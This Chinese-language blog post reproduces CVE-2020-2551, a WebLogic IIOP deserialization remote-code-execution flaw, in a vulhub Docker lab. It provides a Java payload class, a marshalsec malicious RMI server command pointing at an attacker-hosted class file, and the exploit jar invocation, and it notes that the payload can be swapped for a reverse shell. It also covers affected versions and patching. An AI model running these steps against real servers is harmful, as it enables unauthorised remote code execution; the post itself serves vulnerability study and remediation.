WebLogic IIOP协议反序列化漏洞复现

admin 2022年7月2日14:05:00WebLogic IIOP协议反序列化漏洞复现已关闭评论165 views字数 1635阅读5分27秒阅读模式
图片
点击上方“蓝字”,发现更多精彩。

0x00 漏洞简述

2020年1月15日,Oracle发布了一系列的安全补丁,其中Oracle WebLogic Server产品有高危漏洞,漏洞编号CVE-2020-2551,CVSS评分9.8分,漏洞利用难度低,可基于IIOP协议执行远程代码。


0x01 漏洞分析

从Oracle 官方的CPU公告中可以看出该漏洞存在于weblogic核心组件,影响的协议为IIOP。其实经过分析发现,该漏洞原理上类似于RMI反序列化漏洞(CVE-2017-3241),和之前的T3协议所引发的一系列反序列化漏洞也很相似,都是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,并没有进行安全检查所导致的。
什么是RMI-IIOP呢,以往程序员如果想要开发分布式系统服务,必须在RMI和CORBA/IIOP之间做选择,但是现在有了RMI-IIOP,稍微修改代码即可实现RMI客户端使用IIOP协议操作服务端CORBA对象,这样就综合了RMI操作的便利性和IIOP的跨语言性的优势。

在weblogic中RMI-IIOP的实现模型如下:

图片



0x02 影响版本

Weblogic 10.3.6.0.0

Weblogic 12.1.3.0.0

Weblogic 12.2.1.3.0

Weblogic 12.2.1.4.0

0x03 环境搭建

注意:靶机是weblogic 10.3.6.0.0版本,其它高的版本也同样受影响(默认开启IIOP协议的版本均会被攻击)

Centos 7

直接使用vulhub中的CVE-2017-10271漏洞环境就可以

  1. 切到 cd /vulhub-master/weblogic/CVE-2017-10271 目录下

  2. docker-compose up -d 启动漏洞环境

  3. 访问:http://your-ip:7001/

如图所示,即为搭建成功。

图片



0x04 漏洞复现

4.1漏洞检测

使用POC验证,看是否存在CVE-2020-2551漏洞:

图片

发现存在漏洞,接着就是对其进行利用。

4.2漏洞利用

编写一个exp.java文件:

import java.io.IOException;public class exp {  static{    try {      java.lang.Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"});    } catch (IOException e) {      e.printStackTrace();    }  }  public static void main(String[] args) {      }}

然后使用javac进行编译,会发现多出一个exp.class文件:

javac exp.java -source 1.6 -target 1.6

图片


接着在当前目录下使用python3起一个HTTP服务,使用命令:

python3 -m http.server 80

图片


接着使用marshalsec起一个恶意的RMI服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.31.99/#exp” 1099

图片

然后开始攻击,执行如下命令:

java -jar weblogic_CVE_2020_2551.jar 192.168.110.135 7001 rmi://192.168.31.99:1099/exp

图片

成功,后面可以将exp.java中的命令换成反弹一个shell,就可以获取到一个shell。


0x05 修复方案

1.参考以下链接安装补丁更新:

https://www.oracle.com/security-alerts/cpujan2020.html

2.在Weblogic控制台中,选择“环境”->“服务器”->”AdminServer”->”协议”,取消“启用IIOP”的勾选。并重启Weblogic项目,使配置生效。

图片

内容仅供学习及自我检测修复,根据此文造成的任何后果均由用户个人承担。

我知道你在看
图片

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月2日14:05:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WebLogic IIOP协议反序列化漏洞复现https://cn-sec.com/archives/1150762.html